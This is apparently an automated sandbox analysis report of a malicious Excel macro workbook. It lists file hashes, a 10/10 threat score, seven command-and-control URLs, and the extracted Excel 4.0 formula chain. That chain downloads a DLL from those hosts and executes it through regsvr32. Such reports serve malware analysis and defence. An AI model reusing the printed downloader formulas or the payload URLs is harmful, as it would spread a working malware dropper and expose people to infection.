General

  • Target

    6e3028072a59205d2ee5f5ead732bb05d831ee42ecf365f888f50b803973cb1b

  • Size

    20KB

  • MD5

    ad5fe5db4ffa5f34af82ca2b5f3c3ce8

  • SHA1

    f2bab3b9e4e409b8d235de737cfb929002ab20d6

  • SHA256

    6e3028072a59205d2ee5f5ead732bb05d831ee42ecf365f888f50b803973cb1b

  • SHA512

    fd3462f6d3024cd2641fef2bfc0abc16c382184295cceb74f709a10318ad9ef4649bf936533aa65a60ee034e5a509a4e0b21a9c056ce917d009efa67fe7cdddb

  • SSDEEP

    384:uVb1GNjxKo4CGzPd6ZIwISKb5CzgObff9kC+xbX7ZnR:eINco4FLhnCBn9kC+xbLv

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://avirtual.com.ar/portfolio_low/LJtA7G2nnfwBAYE/

http://ard-paya.ir/cgi-bin/ddiue5yX5k28KC33EKw/

http://ascendmedicalsupplies.co.ke/FUTH99YV/faflDNXWq0bPv/

http://aslar.dk/lj/AFAQXrxdyafuA3kn/

https://assf.com.ng/2021/coY6141cNQXQYGrob4o/

http://barth1.dk/_vti_cnf/AEyc6G/

https://www.baligrod.pl/wp-admin/QDSXoxha21C55/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://avirtual.com.ar/portfolio_low/LJtA7G2nnfwBAYE/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ard-paya.ir/cgi-bin/ddiue5yX5k28KC33EKw/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ascendmedicalsupplies.co.ke/FUTH99YV/faflDNXWq0bPv/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aslar.dk/lj/AFAQXrxdyafuA3kn/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://assf.com.ng/2021/coY6141cNQXQYGrob4o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://barth1.dk/_vti_cnf/AEyc6G/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.baligrod.pl/wp-admin/QDSXoxha21C55/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 6e3028072a59205d2ee5f5ead732bb05d831ee42ecf365f888f50b803973cb1b
    .xlsm office2007